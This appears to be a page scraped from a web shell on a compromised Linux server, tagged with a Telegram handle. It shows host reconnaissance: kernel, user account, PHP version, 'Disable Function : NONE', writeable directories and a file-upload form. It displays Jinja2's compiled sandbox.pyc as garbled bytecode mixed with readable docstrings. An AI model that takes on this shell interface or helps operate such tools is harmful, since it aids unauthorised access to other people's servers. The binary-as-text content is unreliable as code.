https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib/python2.7/site-packages/jinja2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python2.7/site-packages/jinja2/sandbox.pyc
�
-/�_c@s�dZddlZddlZddlZddlmZddlmZddlm	Z	ddlm
Z
ddlmZdd	lm
Z
dd
lmZddlmZddlmZdd
lmZdZe
r�dddddhZn	e�ZdddhZddhZddhZddhZejddede�efZefZ e!fZ"yGdd l#m#Z#m$Z$dd!l%m%Z%e e#e$f7Z ee%f7ZWne&k
r�nXy!dd"l'm(Z(ee(f7ZWne&k
r�nXeej)f7Ze ej*f7Z e"ej+f7Z"ee,d#d$d%d&d'd(d)d*g�fe e,d$d'd+d,d*g�fe"e,d-d.d/d0d1d(g�fee,d-d2d$d1d3d'd4d(d5g	�ffZ-d6ej.fd7��YZ/d8�Z0d9�Z1d:�Z2d;�Z3d<�Z4d=efd>��YZ5d?e5fd@��YZ6yddAl7m8Z8Wne&k
rVdB�Z8nXdCe9fdD��YZ:dEe:efdF��YZ;dGe:e	fdH��YZ<dS(Is�A sandbox layer that ensures unsafe operations cannot be performed.
Useful when the template itself comes from an untrusted source.
i����N(tdeque(t	Formatter(tEscapeFormatter(tMarkupi(tabc(tPY2(t
range_type(tstring_types(tEnvironment(t
SecurityErrori��tfunc_closuret	func_codet	func_dictt
func_defaultstfunc_globalstim_classtim_functim_selftgi_frametgi_codetcr_frametcr_codetag_codetag_frametignoresthe sets moduletmodule(tUserDictt	DictMixin(tUserList(tSettaddtcleartdifference_updatetdiscardtpoptremovetsymmetric_difference_updatetupdatetpopitemt
setdefaulttappendtreversetinserttsorttextendt
appendleftt
extendlefttpoplefttrotatet_MagicFormatMappingcBs2eZdZd�Zd�Zd�Zd�ZRS(s�This class implements a dummy wrapper to fix a bug in the Python
    standard library for string formatting.

    See https://bugs.python.org/issue13598 for information about why
    this is necessary.
    cCs||_||_d|_dS(Ni(t_argst_kwargst_last_index(tselftargstkwargs((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyt__init__�s		cCsa|dkrV|j}|jd7_y|j|SWntk
rFnXt|�}n|j|S(Nti(R4R2tLookupErrortstrR3(R5tkeytidx((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyt__getitem__�s	
cCs
t|j�S(N(titerR3(R5((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyt__iter__�scCs
t|j�S(N(tlenR3(R5((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyt__len__�s(t__name__t
__module__t__doc__R8R>R@RB(((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyR1}s
			cCsOt|tjtjf�s+|jdkr/dS|j}t|t�rK|SdS(Ntformatt
format_map(sformatRG(t
isinstancettypest
MethodTypetBuiltinMethodTypeRCtNonet__self__R(tcallabletobj((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pytinspect_format_method�s	cGs5t|�}t|�tkr1tdt��n|S(sWA range that can't generate ranges with a length of more than
    MAX_RANGE items.
    sDRange too big. The sandbox blocks ranges larger than MAX_RANGE (%d).(RRAt	MAX_RANGEt
OverflowError(R6trng((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyt
safe_range�s
cCs
t|_|S(snMarks a function or method as unsafe.

    ::

        @unsafe
        def delete(self):
            pass
    (tTruetunsafe_callable(tf((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pytunsafe�s		cCs7t|tj�r%|tkr*tSnt|tj�rV|tksO|tkr*tSn�t|t�rx|dkr*tSn�t|tjtj	tj
f�r�tSt|tj�r�|tkr*tSnht
td�r�t|tj�r�|tkr*tSn4t
td�r*t|tj�r*|tkr*tSn|jd�S(s�Test if the attribute given is an internal python attribute.  For
    example this function returns `True` for the `func_code` attribute of
    python objects.  This is useful if the environment method
    :meth:`~SandboxedEnvironment.is_safe_attribute` is overridden.

    >>> from jinja2.sandbox import is_internal_attribute
    >>> is_internal_attribute(str, "mro")
    True
    >>> is_internal_attribute(str, "upper")
    False
    tmrot
CoroutineTypetAsyncGeneratorTypet__(RHRItFunctionTypetUNSAFE_FUNCTION_ATTRIBUTESRURJtUNSAFE_METHOD_ATTRIBUTESttypetCodeTypet
TracebackTypet	FrameTypet
GeneratorTypetUNSAFE_GENERATOR_ATTRIBUTESthasattrRZtUNSAFE_COROUTINE_ATTRIBUTESR[t!UNSAFE_ASYNC_GENERATOR_ATTRIBUTESt
startswith(ROtattr((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pytis_internal_attribute�s,!!cCs4x-tD]%\}}t||�r||kSqWtS(s�This function checks if an attribute on a builtin mutable object
    (list, dict, set or deque) would modify it if called.  It also supports
    the "user"-versions of the objects (`sets.Set`, `UserDict.*` etc.) and
    with Python 2.6 onwards the abstract base classes `MutableSet`,
    `MutableMapping`, and `MutableSequence`.

    >>> modifies_known_mutable({}, "clear")
    True
    >>> modifies_known_mutable({}, "keys")
    False
    >>> modifies_known_mutable([], "append")
    True
    >>> modifies_known_mutable([], "index")
    False

    If called with an unsupported object (such as unicode) `False` is
    returned.

    >>> modifies_known_mutable("foo", "upper")
    False
    (t
_mutable_specRHtFalse(RORjttypespecRX((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pytmodifies_known_mutable�stSandboxedEnvironmentcBs�eZdZeZiejd6ejd6ejd6ej	d6ej
d6ejd6ejd6Z
iejd6ejd6Ze�Ze�Zd�Zd	�Zd
�Zd�Zd�Zd
�Zd�Zd�Zd�Zdd�Zd�ZRS(s�The sandboxed environment.  It works like the regular environment but
    tells the compiler to generate sandboxed code.  Additionally subclasses of
    this environment may override the methods that tell the runtime what
    attributes or functions are safe to access.

    If the template tries to access insecure code a :exc:`SecurityError` is
    raised.  However also other exceptions may occur during the rendering so
    the caller has to ensure that all exceptions are caught.
    t+t-t*t/s//s**t%cCstS(s�Called during template compilation with the name of a unary
        operator to check if it should be intercepted at runtime.  If this
        method returns `True`, :meth:`call_unop` is executed for this unary
        operator.  The default implementation of :meth:`call_unop` will use
        the :attr:`unop_table` dictionary to perform the operator with the
        same logic as the builtin one.

        The following unary operators are interceptable: ``+`` and ``-``

        Intercepted calls are always slower than the native operator call,
        so make sure only to intercept the ones you are interested in.

        .. versionadded:: 2.6
        (Rm(R5toperator((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pytintercept_unopAscOsHtj|||�t|jd<|jj�|_|jj�|_dS(Ntrange(	RR8RTtglobalstdefault_binop_tabletcopytbinop_tabletdefault_unop_tablet
unop_table(R5R6R7((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyR8Rs
cCs|jd�pt||�S(sYThe sandboxed environment will call this method to check if the
        attribute of an object is safe to access.  Per default all attributes
        starting with an underscore are considered private as well as the
        special attributes of internal python objects as returned by the
        :func:`is_internal_attribute` function.
        t_(RiRk(R5RORjtvalue((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pytis_safe_attributeXscCs#t|dt�p!t|dt�S(sCheck if an object is safely callable.  Per default a function is
        considered safe unless the `unsafe_callable` attribute exists and is
        True.  Override this method to alter the behavior, but this won't
        affect the `unsafe` decorator from this module.
        RVtalters_data(tgetattrRm(R5RO((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pytis_safe_callableascCs|j|||�S(s�For intercepted binary operator calls (:meth:`intercepted_binops`)
        this function is executed instead of the builtin operator.  This can
        be used to fine tune the behavior of certain operators.

        .. versionadded:: 2.6
        (R|(R5tcontextRvtlefttright((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyt
call_binopkscCs|j||�S(s�For intercepted unary operator calls (:meth:`intercepted_unops`)
        this function is executed instead of the builtin operator.  This can
        be used to fine tune the behavior of certain operators.

        .. versionadded:: 2.6
        (R~(R5R�Rvtarg((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyt	call_unoptscCs�y||SWn�ttfk
r�t|t�r�yt|�}Wntk
rTq�Xyt||�}Wntk
r{q�X|j|||�r�|S|j	||�Sq�nX|j
d|d|�S(s(Subscribe an object from sandboxed code.ROtname(t	TypeErrorR:RHRR;t	ExceptionR�tAttributeErrorR�tunsafe_undefinedt	undefined(R5ROtargumentRjR�((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pytgetitem}s 

cCs�yt||�}Wn7tk
rLy||SWqvttfk
rHqvXn*X|j|||�rf|S|j||�S|jd|d|�S(s�Subscribe an object from sandboxed code and prefer the
        attribute.  The attribute passed *must* be a bytestring.
        ROR�(R�R�R�R:R�R�R�(R5ROt	attributeR�((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyR��s
cCs/|jd||jjfd|d|dt�S(s1Return an undefined object for unsafe attributes.s.access to attribute %r of %r object is unsafe.R�ROtexc(R�t	__class__RCR	(R5ROR�((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyR��scCs�t|t�r$t||j�}nt|�}|dk	r�|jdkr�t|�dksc|r�tdt|�|dk	��n|d}d}nt	||�}|j
|||�}t|�|�S(s�If a format call is detected, then this is routed through this
        method so that our safety sandbox can be used for it.
        RGis0format_map() takes exactly one argument %d giveniN(RHRtSandboxedEscapeFormattertescapetSandboxedFormatterRLRCRAR�R1tvformatR`(R5tsR6R7tformat_funct	formattertrv((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyt
format_string�s
	cOsft|�}|dk	r.|j||||�S|j|�sStd|f��n|j|||�S(s#Call an object from sandboxed code.s%r is not safely callableN(RPRLR�R�R	tcall(t_SandboxedEnvironment__selft_SandboxedEnvironment__contextt_SandboxedEnvironment__objR6R7tfmt((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyR��sN( RCRDRERUt	sandboxedRvRtsubtmulttruedivtfloordivtpowtmodRztpostnegR}t	frozensettintercepted_binopstintercepted_unopsRwR8R�R�R�R�R�R�R�RLR�R�(((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyRps0	






							
							
tImmutableSandboxedEnvironmentcBseZdZd�ZRS(s�Works exactly like the regular `SandboxedEnvironment` but does not
    permit modifications on the builtin mutable objects `list`, `set`, and
    `dict` by using the :func:`modifies_known_mutable` function.
    cCs*tj||||�stSt||�S(N(RpR�RmRo(R5RORjR�((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyR��s(RCRDRER�(((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyR��s(tformatter_field_name_splitcCs
|j�S(N(t_formatter_field_name_split(t
field_name((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyR��stSandboxedFormatterMixincBseZd�Zd�ZRS(cCs
||_dS(N(t_env(R5tenv((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyR8�sc	Cs{t|�\}}|j|||�}xG|D]?\}}|rX|jj||�}q.|jj||�}q.W||fS(N(R�t	get_valueR�R�R�(	R5R�R6R7tfirsttrestROtis_attrti((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyt	get_field�s(RCRDR8R�(((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyR��s	R�cBseZd�ZRS(cCs!tj||�tj|�dS(N(R�R8R(R5R�((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyR8�s(RCRDR8(((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyR��sR�cBseZd�ZRS(cCs$tj||�tj||�dS(N(R�R8R(R5R�R�((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyR8�s(RCRDR8(((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyR��s(=RERvRItwarningstcollectionsRtstringRt
markupsafeRRt_compatRRRRtenvironmentRt
exceptionsR	RQR^tsetR_ReRgRhtfilterwarningstDeprecationWarningRCt_mutable_set_typestdictt_mutable_mapping_typestlistt_mutable_sequence_typesRRRtImportErrortsetsRt
MutableSettMutableMappingtMutableSequenceR�RltMappingR1RPRTRXRkRoRpR�t_stringR�tobjectR�R�R�(((s0/tmp/pip-install-sTXtzD/Jinja2/jinja2/sandbox.pyt<module>s�				

	
		
	%	�




https://t.me/AnonymousX5 - 2025